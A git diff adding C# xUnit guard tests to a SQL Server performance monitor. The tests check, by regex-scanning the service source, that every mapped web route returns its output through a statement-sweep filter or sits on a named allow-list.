         catch (Win32Exception)
         {
-            // Node is not installed on this machine; the source-order pin below still holds the fix in place.
+            // The source-order pin below still holds the fix in place.
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
             return false;
         }
 
@@ -213,4 +214,19 @@ public void SchedulerTick_SettlesTheRenderBeforeTheHiddenOrPausedReturn()
         Assert.True(guard > tick, "schedulerTick lost its hidden-or-paused return");
         Assert.True(settle < guard, "the settle check must run before the hidden-or-paused return, or a render that finishes there never settles");
     }
+
+    /// <summary>Review round (L9): the footer's "Updated" time moves only when the render's reads settled without an error. A poll
+    /// whose reads failed keeps the last good time (the red strip shows the failure); the next clean poll stamps again.</summary>
+    [Fact]
+    public void AFailedPoll_KeepsTheLastGoodUpdatedTime_AndACleanOneMovesIt()
+    {
+        if (!TryRun("failedPoll", out var run)) return;
+
+        var first = run.GetProperty("first").GetProperty("pageUpdatedAt").GetInt64();
+        var failed = run.GetProperty("failed").GetProperty("pageUpdatedAt").GetInt64();
+        var recovered = run.GetProperty("recovered").GetProperty("pageUpdatedAt").GetInt64();
+        Assert.True(first > 0);
+        Assert.Equal(first, failed);
+        Assert.True(recovered > first);
+    }
 }
diff --git a/Darling/Darling.Tests/WebRouteStatementCensusTests.cs b/Darling/Darling.Tests/WebRouteStatementCensusTests.cs
new file mode 100644
index 0000000000..b7892dd616
--- /dev/null
+++ b/Darling/Darling.Tests/WebRouteStatementCensusTests.cs
@@ -0,0 +1,735 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, the web route census. Every route the Darling service maps (any <c>x.Map*</c> call, in any file of the
+/// service project, <c>Mcp/</c> included) is either SWEPT or on the short named list below with the reason it carries
+/// no tool string.
+///
+/// <para>A route is swept only when every value its handler returns comes from the sweep: the whole returned
+/// expression is a call of <c>ToHttpResult</c>, <c>MuteRuleToolResult</c> or <c>DarlingWebStatementSweep.*</c>
+/// (or, in the fleet-sweep file, its two pinned writers), at least one return is such a call, and no return is any
+/// other writer. A sweep call whose result is dropped, a second return that writes raw text, a direct write to the
+/// response, or a handler the scan cannot find (a method group is looked up by name across the project) all leave
+/// the route unswept, and an unswept route that is not named fails. Two kinds of return are not tool text and are
+/// listed with the reason: fixed-sentence request errors, and one listed names-only body.</para>
+///
+/// <para>The scan reads code only: <see cref="CSharpSourceWalker.StripCommentsAndStrings"/> blanks comments and
+/// literals first, so a call named in a comment or a string counts for nothing.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class WebRouteStatementCensusTests
+{
+    /// <summary>The service files that map a route, relative to the service project. A new mapper file is a
+    /// deliberate act: it fails <see cref="NoOtherServiceFile_MapsARoute"/> until it is added here.</summary>
+    private static readonly string[] MapperFilesExpected =
+    {
+        "AlertNotebookEndpoint.cs",
+        "DarlingFleetSweepEndpoints.cs",
+        "DarlingServerDatabasesEndpoint.cs",
+        "DarlingTriageEndpoint.cs",
+        "DarlingWebEndpoints.cs",
+        "Mcp/DarlingMcpHostService.cs",
+    };
+
+    /// <summary>The routes that put no tool string on the wire, by the route argument as written in the source.</summary>
+    private static readonly Dictionary<string, string> Named = new(StringComparer.Ordinal)
+    {
+        ["\"/api/ping\""] = "liveness, no data",
+        ["\"/api/session\""] = "the seat's capabilities",
+        ["\"/api/catalog\""] = "the compose vocabulary (labels; no statement or plan column, pinned by the L8 catalog census)",
+        ["\"/api/fleet\""] = "fleet counts and server names",
+        ["\"/api/ag\""] = "availability group health",
+        ["\"/api/ag/count\""] = "availability group counts",
+        ["\"/api/views\""] = "custom view definitions (composed from the catalog)",
+        ["\"/api/views/{id:long}\""] = "custom view definitions (composed from the catalog)",
+        ["\"/api/compose/run\""] = "composed panels read catalog measures only (pinned by the L8 catalog census)",
+        ["\"/api/alerts\""] = "custom alert rule definitions",
+        ["\"/api/alerts/{id:long}\""] = "custom alert rule definitions",
+        ["\"/api/alerts/validate\""] = "rule validation messages",
+        ["\"/api/servers\""] = "server registry",
+        ["\"/api/servers/{id:int}\""] = "server registry",
+        ["\"/api/admin/servers/{id:int}\""] = "server registry",
+        ["DarlingAdminServersReader.Route"] = "server registry",
+        ["\"/api/alert-history/dismiss\""] = "a dismissal receipt",
+        ["\"/api/server-tags\""] = "server tags",
+        ["\"/api/server-tags/{id:int}\""] = "server tags",
+        ["\"/api/server-tags/{id:int}/servers\""] = "server tags",
+        ["MapMcp()"] = "the MCP transport: every tool result passes the MCP output filter (pinned by the MCP filter tests)",
+        ["MapMcp(\"/core\")"] = "the MCP transport, core profile: every tool result passes the MCP output filter",
+    };
+
+    /// <summary>
+    /// The only returns, in a handler that does sweep, that are not a sweep call. Each is a writer whose text is a
+    /// fixed sentence or the route's own request error, never a tool string. Matched on the whole returned expression.
+    /// </summary>
+    private static readonly (Regex Pattern, string Reason)[] FixedWriters =
+    {
+        (new Regex(@"^UnsupportedMediaTypeResult\s*\(\s*\)$", RegexOptions.Compiled), "a fixed 415 sentence"),
+        (new Regex(@"^ErrorResult\s*\(", RegexOptions.Compiled), "the route's own request-validation message"),
+        (new Regex(@"^(?:Alert)?NotFoundResult\s*\(\s*\)$", RegexOptions.Compiled), "a fixed 404 sentence"),
+        (new Regex(@"^Results\s*\.\s*NoContent\s*\(\s*\)$", RegexOptions.Compiled), "no body"),
+        (new Regex(@"^Results\s*\.\s*Json\s*\(\s*DarlingWebFailureLog\s*\.\s*Body\s*\(", RegexOptions.Compiled),
+            "DarlingWebFailureLog.Body is one fixed sentence per failure class, never the exception text"),
+        (new Regex(@"^ServerErrorResult\s*\(", RegexOptions.Compiled),
+            "answers DarlingWebFailureLog.Body(sentence): a fixed sentence, the argument only reaches the log"),
+    };
+
+    /// <summary>Returns listed one by one, keyed by file and the returned expression as written (whitespace
+    /// collapsed): a change to the expression fails the census until it is looked at again.</summary>
+    private static readonly Dictionary<string, string> ListedReturns = new(StringComparer.Ordinal)
+    {
+        ["DarlingServerDatabasesEndpoint.cs|Results.Text(Render(resolved.ServerName, names, truncated), \"application/json\")"] =
+            "the database picker's list: database names and a truncation flag, no statement text",
+    };
+
+    /// <summary>Writers that sweep, by the one file that defines and uses them (a same-named helper elsewhere does
+    /// not count). <see cref="TheSharedWriters_CallTheSweepBeforeAnythingElse"/> pins each one's body.</summary>
+    private static readonly Dictionary<string, string[]> FileWriters = new(StringComparer.Ordinal)
+    {
+        ["DarlingFleetSweepEndpoints.cs"] = new[] { "JsonResult", "SweepError" },
+    };
+
+    private static readonly Regex SweptWriter = new(
+        @"^(?:DarlingWebEndpoints\s*\.\s*)?(?:ToHttpResult|MuteRuleToolResult)\s*\(|^DarlingWebStatementSweep\s*\.\s*(?:Apply|JsonText|Refusal)\s*\(",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>Any <c>x.Map*(</c> or <c>).Map*(</c> call: <c>MapGet</c>, <c>MapPost</c>, <c>MapPut</c>, <c>MapPatch</c>,
+    /// <c>MapDelete</c>, <c>MapMethods</c>, <c>Map</c>, <c>MapFallback</c>, <c>MapGroup</c>, <c>MapMcp</c> and whatever
+    /// else the framework adds (not <c>MapTo*</c>, the IP address conversions). The receiver starts lower-case (or is a call result), so a static helper such as
+    /// <c>DarlingWebEndpoints.MapAll(</c> or a bare <c>MapRole(</c> is not a route.</summary>
+    private static readonly Regex MapCall = new(
+        @"(?<recv>\b[a-z_]\w*|\))\s*\.\s*(?<m>Map(?!To[A-Z])\w*)\s*\(", RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex DirectWrite = new(
+        @"\bResponse\s*\.\s*(?:Write\w*|Body\w*|SendFileAsync|Redirect\w*|StartAsync|CompleteAsync)|\bWriteAsJsonAsync\b|\bWriteAsync\s*\(|\bResults\s*\.\s*(?:Stream|File|Redirect\w*|Bytes)\b",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly HashSet<string> NotATypeWord = new(StringComparer.Ordinal)
+    {
+        "return", "await", "new", "else", "in", "is", "and", "or", "not", "case", "throw", "yield", "when", "using",
+        "lock", "if", "while", "switch", "nameof", "typeof", "do", "for", "foreach", "ref", "out",
+    };
+
+    private sealed record RouteRow(string Route, bool Swept, string File, int Line, string Why);
+
+    private static string Code(string source) => CSharpSourceWalker.StripCommentsAndStrings(source);
+
+    /// <summary>Index of the bracket that closes the one at <paramref name="open"/> (any of <c>( [ {</c> counted
+    /// together), or -1.</summary>
+    private static int Close(string code, int open)
+    {
+        int depth = 0;
+        for (int i = open; i < code.Length; i++)
+        {
+            char c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}' && --depth == 0) return i;
+        }
+
+        return -1;
+    }
+
+    /// <summary>The top-level arguments of the call whose <c>(</c> is at <paramref name="open"/>, as [start,end) ranges.</summary>
+    private static List<(int S, int E)> Args(string code, string source, int open)
+    {
+        var args = new List<(int, int)>();
+        int close = Close(code, open);
+        if (close < 0) return args;
+        int depth = 0, start = open + 1;
+        for (int i = open + 1; i < close; i++)
+        {
+            char c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}') depth--;
+            else if (c == ',' && depth == 0)
+            {
+                args.Add((start, i));
+                start = i + 1;
+            }
+        }
+
+        args.Add((start, close));
+        return args.Where(a => source[a.Item1..a.Item2].Trim().Length > 0).ToList();
+    }
+
+    private static (int S, int E) Trim(string code, (int S, int E) r)
+    {
+        int s = r.S, e = r.E;
+        while (s < e && char.IsWhiteSpace(code[s])) s++;
+        while (e > s && char.IsWhiteSpace(code[e - 1])) e--;
+        return (s, e);
+    }
+
+    private static int LineOf(string code, int index) => 1 + code.Take(index).Count(c => c == '\n');
+
+    private static string Collapse(string s) => Regex.Replace(s.Trim(), @"\s+", " ");
+
+    /// <summary>The offset of a top-level <c>=></c> in [s,e), or -1 (so a method group has none).</summary>
+    private static int TopLevelArrow(string code, int s, int e)
+    {
+        int depth = 0;
+        for (int i = s; i < e - 1; i++)
+        {
+            char c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}') depth--;
+            else if (depth == 0 && c == '=' && code[i + 1] == '>') return i;
+        }
+
+        return -1;
+    }
+
+    /// <summary>One handler body: its text range in a code string, and whether it is an expression body.</summary>
+    private sealed record Body(string Code, string Source, int S, int E, bool IsExpression);
+
+    /// <summary>The handler argument's bodies: the lambda's own, or every method of that name in the project.</summary>
+    private static List<Body>? HandlerBodies(string code, string source, (int S, int E) handler, IReadOnlyList<(string Code, string Source)> project)
+    {
+        var (s, e) = Trim(code, handler);
+        int arrow = TopLevelArrow(code, s, e);
+        if (arrow >= 0)
+        {
+            var (bs, be) = Trim(code, (arrow + 2, e));
+            return new List<Body> { new(code, source, bs, be, code[bs] != '{') };
+        }
+
+        // A method group, possibly cast or wrapped in a delegate constructor: the last identifier names the method.
+        var m = Regex.Match(code[s..e], @"([A-Za-z_]\w*)\s*\)*\s*$");
+        if (!m.Success) return null;
+        var bodies = new List<Body>();
+        foreach (var (pc, ps) in project)
+        {
+            foreach (Match d in Regex.Matches(pc, @"\b" + Regex.Escape(m.Groups[1].Value) + @"\s*\("))
+            {
+                int k = d.Index - 1;
+                while (k >= 0 && char.IsWhiteSpace(pc[k])) k--;
+                if (k < 0 || !(char.IsLetterOrDigit(pc[k]) || pc[k] is '_' or '>' or ']' or '?')) continue;
+                int w = k;
+                while (w >= 0 && (char.IsLetterOrDigit(pc[w]) || pc[w] == '_')) w--;
+                if (NotATypeWord.Contains(pc[(w + 1)..(k + 1)])) continue;
+                int close = Close(pc, d.Index + d.Length - 1);
+                if (close < 0) continue;
+                int p = close + 1;
+                while (p < pc.Length && char.IsWhiteSpace(pc[p])) p++;
+                if (p < pc.Length && pc[p] == '{')
+                {
+                    bodies.Add(new Body(pc, ps, p, Close(pc, p) + 1, false));
+                }
+                else if (p + 1 < pc.Length && pc[p] == '=' && pc[p + 1] == '>')
+                {
+                    int q = p + 2;
+                    int end = pc.IndexOf(';', q);
+                    bodies.Add(new Body(pc, ps, q, end < 0 ? pc.Length : end, true));
+                }
+            }
+        }
+
+        return bodies.Count == 0 ? null : bodies;
+    }
+
+    /// <summary>The returned expressions of a body, as [start,end) ranges: the whole expression for an expression
+    /// body, each <c>return ...;</c> for a block.</summary>
+    private static List<(int S, int E)> Exits(Body b)
+    {
+        if (b.IsExpression) return new List<(int, int)> { Trim(b.Code, (b.S, b.E)) };
+        var exits = new List<(int, int)>();
+        foreach (Match r in Regex.Matches(b.Code[b.S..b.E], @"\breturn\b"))
+        {
+            int s = b.S + r.Index + r.Length, depth = 0, i = s;
+            for (; i < b.E; i++)
+            {
+                char c = b.Code[i];
+                if (c is '(' or '[' or '{') depth++;
+                else if (c is ')' or ']' or '}') depth--;
+                else if (c == ';' && depth == 0) break;
+            }
+
+            var range = Trim(b.Code, (s, i));
+            if (range.E > range.S) exits.Add(range);
+        }
+
+        return exits;
+    }
+
+    private enum Verdict { Fixed, Swept, Bad }
+
+    /// <summary>The offset of the first top-level <c>?</c> that opens a conditional (not <c>??</c>, <c>?.</c>,
+    /// <c>?[</c>), and of the <c>:</c> that closes it.</summary>
+    private static (int Q, int Colon) Conditional(string code, int s, int e)
+    {
+        int depth = 0, q = -1, nested = 0;
+        for (int i = s; i < e; i++)
+        {
+            char c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}') depth--;
+            else if (depth == 0 && c == '?')
+            {
+                char n = i + 1 < e ? code[i + 1] : ' ';
+                if (n is '?' or '.' or '[') { if (n == '?') i++; continue; }
+                if (q < 0) q = i; else nested++;
+            }
+            else if (depth == 0 && c == ':' && q >= 0)
+            {
+                if (nested == 0) return (q, i);
+                nested--;
+            }
+        }
+
+        return (-1, -1);
+    }
+
+    private static Verdict Join(Verdict a, Verdict b) =>
+        a == Verdict.Bad || b == Verdict.Bad ? Verdict.Bad : a == Verdict.Swept || b == Verdict.Swept ? Verdict.Swept : Verdict.Fixed;
+
+    private static Verdict Classify(string code, string source, int s, int e, string file, List<string> why)
+    {
+        (s, e) = Trim(code, (s, e));
+        string text = code[s..e];
+
+        // await / ConfigureAwait / wrapping parentheses do not change where the value comes from.
+        var aw = Regex.Match(text, @"^await\s+");
+        if (aw.Success) return Classify(code, source, s + aw.Length, e, file, why);
+        if (text.StartsWith('(') && Close(code, s) == e - 1) return Classify(code, source, s + 1, e - 1, file, why);
+
+        var (q, colon) = Conditional(code, s, e);
+        if (q >= 0 && colon > q)
+        {
+            return Join(Classify(code, source, q + 1, colon, file, why), Classify(code, source, colon + 1, e, file, why));
+        }
+
+        int coalesce = -1, depth = 0;
+        for (int i = s; i < e - 1; i++)
+        {
+            char c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}') depth--;
+            else if (depth == 0 && c == '?' && code[i + 1] == '?') { coalesce = i; break; }
+        }
+
+        if (coalesce >= 0)
+        {
+            return Join(Classify(code, source, s, coalesce, file, why), Classify(code, source, coalesce + 2, e, file, why));
+        }
+
+        // A writer counts only when the WHOLE expression is its call.
+        bool WholeCall(Match m) => m.Success && Close(code, s + m.Length - 1) == e - 1;
+
+        if (WholeCall(SweptWriter.Match(text))) return Verdict.Swept;
+        if (FileWriters.TryGetValue(file, out var local))
+        {
+            foreach (string w in local)
+            {
+                if (WholeCall(Regex.Match(text, @"^" + w + @"\s*\("))) return Verdict.Swept;
+            }
+        }
+
+        if (ListedReturns.ContainsKey(file + "|" + Collapse(source[s..e]))) return Verdict.Fixed;
+        foreach (var (pattern, _) in FixedWriters)
+        {
+            var m = pattern.Match(text);
+
+            // ErrorResult is a fixed writer only for a literal message or the route's own request-parse error.
+            if (m.Success && text.StartsWith("ErrorResult", StringComparison.Ordinal)
+                && !Regex.IsMatch(source[s..e], @"^ErrorResult\s*\(\s*(?:\$?@?""|bodyError\b)")) continue;
+            if (m.Success && (pattern.ToString().EndsWith('$') || Close(code, s + text.IndexOf('(')) == e - 1)) return Verdict.Fixed;
+        }
+
+        why.Add("returns `" + Collapse(source[s..Math.Min(e, s + 70)]) + "` which is not a sweep call");
+        return Verdict.Bad;
+    }
+
+    /// <summary>The routes one file maps. <paramref name="project"/> is every service file's (code, source), so a
+    /// method-group handler is found wherever it is defined; it defaults to this file alone.</summary>
+    private static List<RouteRow> Routes(string source, string file = "Planted.cs", IReadOnlyList<(string Code, string Source)>? project = null)
+    {
+        string code = Code(source);
+        project ??= new[] { (code, source) };
+        var rows = new List<RouteRow>();
+        var groups = new Dictionary<string, string>(StringComparer.Ordinal);
+
+        foreach (Match m in MapCall.Matches(code))
+        {
+            string method = m.Groups["m"].Value;
+            int open = m.Index + m.Length - 1;
+            var args = Args(code, source, open);
+            int line = LineOf(code, m.Index);
+            string recv = m.Groups["recv"].Value;
+
+            // The group a map hangs off: `g.MapGet(` for a variable, `app.MapGroup("/x").MapGet(` for a chain.
+            string prefix = "";
+            if (recv == ")")
+            {
+                int k = m.Groups["recv"].Index;
+                int depth = 0, o = k;
+                for (; o >= 0; o--)
+                {
+                    if (code[o] == ')') depth++;
+                    else if (code[o] == '(' && --depth == 0) break;
+                }
+
+                var head = o > 0 ? Regex.Match(code[..o], @"\bMapGroup\s*$") : Match.Empty;
+                if (head.Success)
+                {
+                    var ga = Args(code, source, o);
+                    if (ga.Count > 0) prefix = Collapse(source[ga[0].S..ga[0].E]) + " + ";
+                }
+            }
+            else if (groups.TryGetValue(recv, out var gp))
+            {
+                prefix = gp;
+            }
+
+            if (method == "MapGroup")
+            {
+                string gArg = args.Count > 0 ? Collapse(source[args[0].S..args[0].E]) + " + " : "";
+                var assigned = Regex.Match(code[..m.Groups["recv"].Index], @"(\w+)\s*=\s*$");
+                if (assigned.Success) groups[assigned.Groups[1].Value] = prefix + gArg;
+                continue;
+            }
+
+            string route;
+            (int S, int E)? handler;
+            if (method == "MapMcp")
+            {
+                route = "MapMcp(" + (args.Count > 0 ? Collapse(source[args[0].S..args[^1].E]) : "") + ")";
+                rows.Add(new RouteRow(route, false, file, line, "an MCP endpoint is not a swept web route"));
+                continue;
+            }
+
+            if (args.Count == 0)
+            {
+                rows.Add(new RouteRow(prefix + method + "()", false, file, line, "no handler found"));
+                continue;
+            }
+
+            bool verbForm = method is "MapGet" or "MapPost" or "MapPut" or "MapPatch" or "MapDelete" or "MapMethods" or "Map";
+            if (verbForm || args.Count > 1)
+            {
+                route = prefix + Collapse(source[args[0].S..args[0].E]);
+                if (!verbForm) route = method + "(" + route + ")";
+            }
+            else
+            {
+                route = method + "()";
+            }
+
+            handler = args[^1];
+            var bodies = HandlerBodies(code, source, handler.Value, project);
+            var why = new List<string>();
+            bool swept = false;
+            if (bodies is null)
+            {
+                why.Add("the handler is not a lambda and no method of that name was found");
+            }
+            else
+            {
+                var verdict = Verdict.Fixed;
+                foreach (var b in bodies)
+                {
+                    var exits = Exits(b);
+                    if (exits.Count == 0) why.Add("the handler has no return");
+                    if (exits.Count == 0) verdict = Verdict.Bad;
+                    foreach (var (es, ee) in exits)
+                    {
+                        verdict = Join(verdict, Classify(b.Code, b.Source, es, ee, file, why));
+                    }
+
+                    if (DirectWrite.IsMatch(b.Code[b.S..b.E]))
+                    {
+                        why.Add("the handler writes to the response directly");
+                        verdict = Verdict.Bad;
+                    }
+                }
+
+                swept = verdict == Verdict.Swept;
+                if (verdict == Verdict.Fixed) why.Add("no return is a sweep call");
+            }
+
+            rows.Add(new RouteRow(route, swept, file, line, string.Join("; ", why.Distinct())));
+        }
+
+        return rows;
+    }
+
+    private static string ServiceDir() => RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Service");
+
+    /// <summary>Every .cs file of the service project (Mcp/ included; bin and obj not), relative paths with / separators.</summary>
+    private static List<(string Rel, string Source, string Code)> ServiceFiles(string serviceDir)
+    {
+        var files = new List<(string, string, string)>();
+        foreach (string path in Directory.EnumerateFiles(serviceDir, "*.cs", SearchOption.AllDirectories))
+        {
+            string rel = Path.GetRelativePath(serviceDir, path).Replace('\\', '/');
+            if (rel.StartsWith("obj/", StringComparison.Ordinal) || rel.StartsWith("bin/", StringComparison.Ordinal)) continue;
+            string src = File.ReadAllText(path);
+            files.Add((rel, src, Code(src)));
+        }
+
+        return files;
+    }
+
+    private static string[] MapperFiles(string serviceDir) =>
+        ServiceFiles(serviceDir)
+            .Where(f => MapCall.IsMatch(f.Code))
+            .Select(f => f.Rel)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .ToArray();
+
+    [Fact]
+    public void EveryMappedRoute_IsSwept_OrOnTheNamedList()
+    {
+        var files = ServiceFiles(ServiceDir());
+        var project = files.Select(f => (f.Code, f.Source)).ToList();
+        var problems = new List<string>();
+        int swept = 0, named = 0;
+        var seenNamed = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var f in files.Where(f => MapCall.IsMatch(f.Code)))
+        {
+            foreach (var row in Routes(f.Source, Path.GetFileName(f.Rel), project))
+            {
+                if (row.Swept)
+                {
+                    swept++;
+                    if (Named.ContainsKey(row.Route)) problems.Add(f.Rel + ":" + row.Line + " " + row.Route + " is on the named list but now sweeps: update the list");
+                    continue;
+                }
+
+                if (Named.ContainsKey(row.Route)) { named++; seenNamed.Add(row.Route); continue; }
+                problems.Add(f.Rel + ":" + row.Line + " " + row.Route + " does not answer through the sweep and is not on the named list (" + row.Why + ")");
+            }
+        }
+
+        foreach (string stale in Named.Keys.Where(k => !seenNamed.Contains(k)))
+        {
+            problems.Add("named route " + stale + " is no longer mapped: update the list");
+        }
+
+        Assert.True(problems.Count == 0, string.Join("; ", problems));
+        Assert.True(swept >= 8, "swept routes found: " + swept);
+        Console.WriteLine("web routes: swept=" + swept + " named=" + named);
+    }
+
+    [Fact]
+    public void NoOtherServiceFile_MapsARoute()
+    {
+        Assert.Equal(MapperFilesExpected.OrderBy(n => n, StringComparer.Ordinal).ToArray(), MapperFiles(ServiceDir()));
+    }
+
+    [Fact]
+    public void ARouteUnderMcp_IsSeenByTheScan()
+    {
+        string dir = Path.Combine(Path.GetTempPath(), "c2-census-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(Path.Combine(dir, "Mcp"));
+        try
+        {
+            File.WriteAllText(Path.Combine(dir, "Mcp", "Host.cs"), "class H { void M(object app) { app.MapGet(\"/api/z\", () => 1); } }");
+
+            Assert.Equal(new[] { "Mcp/Host.cs" }, MapperFiles(dir));
+        }
+        finally
+        {
+            Directory.Delete(dir, recursive: true);
+        }
+    }
+
+    [Fact]
+    public void TheSharedWriters_CallTheSweepBeforeAnythingElse()
+    {
+        string endpoints = File.ReadAllText(Path.Combine(ServiceDir(), "DarlingWebEndpoints.cs"));
+        foreach (string method in new[] { "ToHttpResult", "MuteRuleToolResult" })
+        {
+            var bodies = StatementColumnCensusTests.BodiesOf(endpoints, "DarlingWebEndpoints", method);
+            Assert.True(bodies.Count > 0, method + " was not found");
+            Assert.All(bodies, b => Assert.Contains("DarlingWebStatementSweep.Apply(", b));
+        }
+
+        string sweepFile = Code(File.ReadAllText(Path.Combine(ServiceDir(), "DarlingFleetSweepEndpoints.cs")));
+        foreach (string method in new[] { "JsonResult", "SweepError" })
+        {
+            Assert.Matches(@"IResult\s+" + method + @"\([^)]*\)\s*=>\s*DarlingWebStatementSweep\.JsonText\(", sweepFile);
+        }
+    }
+
+    private static string[] Verdicts(string source, string file = "Planted.cs") =>
+        Routes(source, file).Select(r => r.Route + "=" + (r.Swept ? "swept" : "unswept")).ToArray();
+
+    [Fact]
+    public void TheScan_FlagsARouteThatWritesAroundTheSweep()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/a"", async (HttpContext c) => { return ToHttpResult(x, ""/api/a"", l, 1); });
+    app.MapGet(""/api/b"", async (HttpContext c) => { return Results.Text(body, ""application/json""); });
+    app.MapGet(""/api/c"", () => JsonNodeResult(Build()));
+    // app.MapGet(""/api/d"", () => 1);
+  }
+}";
+        Assert.Equal(new[] { "\"/api/a\"=swept", "\"/api/b\"=unswept", "\"/api/c\"=unswept" }, Verdicts(Source));
+    }
+
+    [Fact]
+    public void ASweepCallWhoseResultIsDiscarded_IsNotSwept()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/a"", async (HttpContext c) => { var _ = ToHttpResult(x, ""/api/a"", l, 1); return Results.Text(raw, ""application/json""); });
+    app.MapGet(""/api/b"", (HttpContext c) => { ToHttpResult(x, ""/api/b"", l, 1); return Results.Ok(raw); });
+    app.MapGet(""/api/c"", (HttpContext c) => ToHttpResult(x, ""/api/c"", l, 1).Foo(raw));
+  }
+}";
+        Assert.Equal(new[] { "\"/api/a\"=unswept", "\"/api/b\"=unswept", "\"/api/c\"=unswept" }, Verdicts(Source));
+    }
+
+    [Fact]
+    public void ASecondReturnThatIsNotTheSweep_FailsAnOtherwiseSweptRoute()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/a"", async (HttpContext c) => {
+      if (bad) { return Results.Text(raw, ""application/json""); }
+      return ToHttpResult(x, ""/api/a"", l, 1);
+    });
+    app.MapGet(""/api/b"", async (HttpContext c) => {
+      if (bad) { return ErrorResult(""bad request"", 400); }
+      return ToHttpResult(x, ""/api/b"", l, 1);
+    });
+    app.MapGet(""/api/e"", async (HttpContext c) => {
+      if (bad) { return ErrorResult(bodyError, 400); }
+      return ToHttpResult(x, ""/api/e"", l, 1);
+    });
+    app.MapGet(""/api/f"", async (HttpContext c) => {
+      if (bad) { return ErrorResult(raw, 500); }
+      return ToHttpResult(x, ""/api/f"", l, 1);
+    });
+    app.MapGet(""/api/c"", (HttpContext c) => ok ? ToHttpResult(x, ""/api/c"", l, 1) : Results.Text(raw, ""t""));
+    app.MapGet(""/api/d"", async (HttpContext c) => { await c.Response.WriteAsync(raw); return ToHttpResult(x, ""/api/d"", l, 1); });
+  }
+}";
+        Assert.Equal(
+            new[]
+            {
+                "\"/api/a\"=unswept", "\"/api/b\"=swept", "\"/api/e\"=swept", "\"/api/f\"=unswept",
+                "\"/api/c\"=unswept", "\"/api/d\"=unswept",
+            },
+            Verdicts(Source));
+    }
+
+    [Fact]
+    public void AMapMethodsRoute_IsScanned()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapMethods(""/api/m"", new[] { ""GET"" }, async (HttpContext c) => { return Results.Text(raw, ""application/json""); });
+    app.MapMethods(""/api/n"", new[] { ""GET"", ""POST"" }, async (HttpContext c) => ToHttpResult(x, ""/api/n"", l, 1));
+    app.Map(""/api/o"", () => Results.Text(raw, ""t""));
+    app.MapFallback(() => Results.Text(raw, ""t""));
+  }
+}";
+        Assert.Equal(
+            new[] { "\"/api/m\"=unswept", "\"/api/n\"=swept", "\"/api/o\"=unswept", "MapFallback()=unswept" },
+            Verdicts(Source));
+    }
+
+    [Fact]
+    public void AGroupPrefixedMap_IsScannedUnderItsFullRoute()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    var g = app.MapGroup(""/api/x"");
+    g.MapGet(""/a"", () => Results.Text(raw, ""t""));
+    g.MapPost(""/b"", async (HttpContext c) => ToHttpResult(x, ""/api/x/b"", l, 1));
+    app.MapGroup(""/api/y"").MapDelete(""/c"", () => Results.Text(raw, ""t""));
+  }
+}";
+        Assert.Equal(
+            new[] { "\"/api/x\" + \"/a\"=unswept", "\"/api/x\" + \"/b\"=swept", "\"/api/y\" + \"/c\"=unswept" },
+            Verdicts(Source));
+    }
+
+    [Fact]
+    public void AMethodGroupHandler_IsJudgedByItsOwnBody()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/g"", Handle);
+    app.MapGet(""/api/h"", async (HttpContext c) => ToHttpResult(x, ""/api/h"", l, 1));
+    app.MapGet(""/api/i"", HandleSwept);
+    app.MapGet(""/api/j"", W.HandleExpr);
+    app.MapGet(""/api/k"", Missing);
+  }
+  static IResult Handle(HttpContext c) { return Results.Text(raw, ""application/json""); }
+  static async Task<IResult> HandleSwept(HttpContext c) { var r = await Read(c); return ToHttpResult(r, ""/api/i"", l, 1); }
+  static IResult HandleExpr(HttpContext c) => Results.Text(raw, ""application/json"");
+}";
+        Assert.Equal(
+            new[] { "\"/api/g\"=unswept", "\"/api/h\"=swept", "\"/api/i\"=swept", "\"/api/j\"=unswept", "\"/api/k\"=unswept" },
+            Verdicts(Source));
+    }
+
+    [Fact]
+    public void AMethodGroupDefinedInAnotherFile_IsFound()
+    {
+        const string Mapper = @"class A { void M(object app) { app.MapGet(""/api/p"", Other.Handle); } }";
+        const string Other = @"class Other { public static IResult Handle(HttpContext c) { return ToHttpResult(r, ""/api/p"", l, 1); } }";
+        var project = new[] { (Code(Mapper), Mapper), (Code(Other), Other) };
+
+        Assert.True(Routes(Mapper, "A.cs", project).Single().Swept);
+        Assert.False(Routes(Mapper, "A.cs").Single().Swept);
+    }
+
+    [Fact]
+    public void ALookalikeWriterName_DoesNotCountAsTheSweep()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/a"", () => MyJsonResult(raw));
+    app.MapGet(""/api/b"", () => JsonResult(raw));
+    app.MapGet(""/api/c"", () => MyToHttpResult(raw));
+    app.MapGet(""/api/d"", () => Results.Text(""ToHttpResult(x)"", ""t"")); // ToHttpResult(x)
+  }
+}";
